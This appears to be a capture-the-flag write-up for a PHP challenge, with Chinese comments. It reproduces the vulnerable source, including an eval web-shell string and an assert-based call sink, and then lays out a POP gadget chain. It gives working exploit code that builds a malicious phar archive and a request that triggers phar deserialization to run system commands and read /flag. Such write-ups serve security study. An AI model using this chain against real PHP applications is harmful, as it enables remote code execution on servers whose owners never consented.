<?php
class aa{
    public $name;

    public function __construct(){
        $this->name='aa';
    }

    public function __destruct(){
        $this->name=strtolower($this->name);
    }
}

class ff{
    private $content;
    public $func;

    public function __construct(){
        $this->content="\<?php @eval(\$_POST[1]);?>";
    }

    public function __get($key){
        $this->$key->{$this->func}($_POST['cmd']);
    }
}

class zz{
    public $filename;
    public $content='surprise';

    public function __construct($filename){
        $this->filename=$filename;
    }

    public function filter(){
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
            die('这不合理');
        }
    }

    public function write($var){
        $filename=$this->filename;
        $lt=$this->filename->$var;
        //此功能废弃,不想写了
    }

    public function getFile(){
        $this->filter();
        $contents=file_get_contents($this->filename);
        if(!empty($contents)){
            return $contents;
        }else{
            die("404 not found");
        }
    }

    public function __toString(){
        $this->{$_POST['method']}($_POST['var']);
        return $this->content;
    }
}

class xx{
    public $name;
    public $arg;

    public function __construct(){
        $this->name='assert';
        $this->arg='phpinfo();';
    }

    public function __call($name,$arg){
        $name($arg[0]);
    }
}

pop链:aa:__destruct==>_tostring==>write==>_get==>_call
payload:

<?php
class aa{
    public $name;
}
class ff{
    private $content;
    public $func;
    public function __construct(){
        $this->content=new xx();
    }
}
class zz{
    public $filename;
    public $content='surprise';
}
class xx{
    public $name;
    public $arg;
}
$ans=new aa();
$ans->name=new zz();
//$_POST['method']=write $_POST['var']=content
$ans->name->filename=new ff();
//$ans->name->filename->content=new xx();因为class ff:content为私有属性,所有在construct里赋值
$ans->name->filename->func="assert";
//下面是生成phar文件,通过read.php中调用class zz:getFile里的file_get_contents来触发phar反序列化
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($ans);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

file=phar://upload/c490af016a4c43fa9ce4602f77333a33.txt&method=write&var=content&cmd=system("cat /flag")